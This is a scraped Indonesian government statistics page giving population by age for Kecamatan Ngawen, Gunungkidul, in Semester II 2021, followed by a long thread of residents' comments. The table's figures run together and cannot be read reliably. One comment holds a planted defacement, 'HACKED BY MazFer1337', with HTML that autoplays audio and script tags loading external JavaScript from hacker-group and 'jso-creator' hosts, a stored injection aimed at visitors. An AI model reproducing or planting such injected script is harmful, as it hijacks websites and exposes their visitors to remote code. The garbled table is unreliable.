Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN NGAWEN, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaTANCEPSEMIBIREJOJURANGJEROKAMPUNGBEJIWATUSIGARTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun9178 169111101 2124454 988468 1523737 745558 113422 396 818
2 tahun4561 1065949 1082723 503843 814020 603531 66244 227 471
3 tahun5048 987458 1322738 654136 771922 413532 67246 234 480
4 tahun4644 905050 1003728 654345 882423 473434 68234 224 458
5 tahun4547 926442 1063632 684438 823019 493131 62250 209 459
6 tahun3641 776444 1082627 534241 833133 643830 68237 216 453
7 tahun4045 856149 1102329 525436 902520 453030 60233 209 442
8 tahun4553 984961 1102428 525146 972721 483429 63230 238 468
9 tahun4746 936956 1253327 603933 722021 413531 66243 214 457
10 tahun4441 855061 1112421 454535 802022 424525 70228 205 433
11 tahun4648 946273 1353628 644549 941927 463337 70241 262 503
12 tahun4655 1016347 1104336 794740 873427 614035 75273 240 513
13 tahun4855 1036061 1213038 685346 992331 543939 78253 270 523
14 tahun5044 945950 1092428 523948 873725 623937 76248 232 480
15 tahun6449 1135957 1163839 774237 793336 693936 75275 254 529
16 tahun4135 765260 1122722 494038 782525 504137 78226 217 443
17 tahun3839 775755 1123133 644048 882920 493131 62226 226 452
18 tahun4059 995352 1053227 593650 863125 564035 75232 248 480
19 tahun4553 985842 1004025 654748 952819 473246 78250 233 483
20 tahun4845 937166 1374127 685353 1063326 593037 67276 254 530
21 tahun5149 1006657 1234332 756134 953341 745532 87309 245 554
22 tahun5547 1027645 1213932 714546 914430 744652 98305 252 557
23 tahun4446 905953 1123642 785944 1034637 834542 87289 264 553
24 tahun4357 1005047 974040 805445 994138 793937 76267 264 531
25 tahun6156 1176262 1245035 856460 1242528 534545 90307 286 593
26 tahun4756 1035865 1234330 735047 973725 625445 99289 268 557
27 tahun5350 1036668 1344136 774759 1063127 585339 92291 279 570
28 tahun3741 786859 1274335 785452 1063729 665132 83290 248 538
29 tahun5344 975758 1152930 595140 913435 694440 84268 247 515
30 tahun4735 825867 1254030 704738 852717 443737 74256 224 480
31 tahun4947 965142 933026 565549 1041822 403029 59233 215 448
32 tahun3645 815046 962533 584342 853524 594336 79232 226 458
33 tahun4332 756151 1123816 544455 992625 512429 53236 208 444
34 tahun2942 715353 1062531 564642 882322 452927 56205 217 422
35 tahun3729 665749 1063125 564148 892023 433423 57220 197 417
36 tahun5143 944443 872437 615838 962230 523835 73237 226 463
37 tahun5537 923756 932833 612839 672922 513536 71212 223 435
38 tahun4138 795739 963331 645448 1022714 412640 66238 210 448
39 tahun4838 865465 1193636 724351 942521 465444 98260 255 515
40 tahun4142 834656 1024538 834033 733129 603626 62239 224 463
41 tahun5338 916044 1043031 614735 822629 553129 60247 206 453
42 tahun5736 935454 1083935 745130 812631 573639 75263 225 488
43 tahun4845 935451 1053029 594224 662626 523233 65232 208 440
44 tahun2628 545845 1032329 523847 852221 433734 71204 204 408
45 tahun4035 755461 1152417 414033 731517 322737 64200 200 400
46 tahun3340 735850 1083528 634753 1002537 623039 69228 247 475
47 tahun4144 853848 862029 493137 681723 402738 65174 219 393
48 tahun3828 664738 852325 484041 811835 534039 79206 206 412
49 tahun3946 855065 1152046 665341 943537 725850 108255 285 540
50 tahun4523 684944 932436 603560 952525 503641 77214 229 443
51 tahun3038 684454 983247 794255 974132 734449 93233 275 508
52 tahun3640 766372 1353544 794265 1074648 945155 106273 324 597
53 tahun3541 765973 1324339 824561 1063736 734542 87264 292 556
54 tahun3225 573551 863631 675155 1061828 464528 73217 218 435
55 tahun2922 513549 844033 734255 972226 483335 68201 220 421
56 tahun3031 616969 1383735 725550 1053037 673951 90260 273 533
57 tahun2628 545033 832522 473744 812525 502826 54191 178 369
58 tahun3434 685148 993243 754650 962832 603448 82225 255 480
59 tahun2932 615245 972118 394839 872935 643033 63209 202 411
60 tahun2727 543431 651724 414436 802727 543131 62180 176 356
61 tahun3352 854655 1012638 644063 1033132 634152 93217 292 509
62 tahun4022 623731 683425 594146 872837 653432 66214 193 407
63 tahun2324 473540 752529 543225 572522 473728 65177 168 345
64 tahun3032 623032 621828 463433 671717 342229 51151 171 322
65 tahun1945 643237 692324 474051 911728 452925 54160 210 370
66 tahun3152 833950 892436 603341 742025 453233 65179 237 416
67 tahun3130 612424 482729 562928 571619 353018 48157 148 305
68 tahun2624 503330 632825 533022 521922 412128 49157 151 308
69 tahun1724 412123 441715 322836 643124 551829 47132 151 283
70 tahun2615 413025 552213 352923 521619 352529 54148 124 272
71 tahun1822 402531 561823 412929 581224 362234 56124 163 287
72 tahun149 23108 18714 212418 421415 291227 3981 91 172
73 tahun1212 242024 44716 232131 521718 352025 4597 126 223
74 tahun1116 271715 321112 231620 361119 301512 2781 94 175
75 tahun920 29815 23910 191913 32915 24514 1959 87 146
76 tahun821 291523 381515 302227 492717 441324 37100 127 227
77 tahun1311 24128 201114 25716 231220 32119 2066 78 144
78 tahun512 171721 38612 18820 281419 331019 2960 103 163
79 tahun814 221218 30138 211819 371616 321213 2579 88 167
80 ke atas3386 11982104 1865586 14187147 2347281 15386124 210415 628 1.043
Jumlah3.0113.0846.0953.9343.8547.7882.3442.3714.7153.3703.4076.7772.1382.1344.2722.7832.8085.591 17.580 17.658 35.238
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih